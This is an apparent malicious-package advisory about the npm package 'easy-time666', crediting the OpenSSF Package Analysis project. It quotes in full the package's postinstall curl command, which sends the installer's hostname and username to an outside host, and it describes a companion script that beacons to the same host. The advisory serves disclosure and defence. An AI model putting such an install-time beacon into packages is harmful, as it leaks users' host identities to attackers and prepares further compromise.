MAL-2026-5749 Malicious code in easy-time666 (npm)

package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami) over plain HTTP on every npm install, leaking the installer's hostname and current username to a non-publisher domain. The package advertises itself as a time-formatting library and has no legitimate reason to phone home with host identifiers. A second file, scripts/postinstall.js, is shipped in the tarball and POSTs JSON {ping:'npm'} to the same host (npm.wdf1.eyes.sh) over plain HTTP, reinforcing the install-time callback. This is the canonical recon-beacon pattern used to enumerate compromised hosts before staging follow-on payloads.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'easy-time666' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.
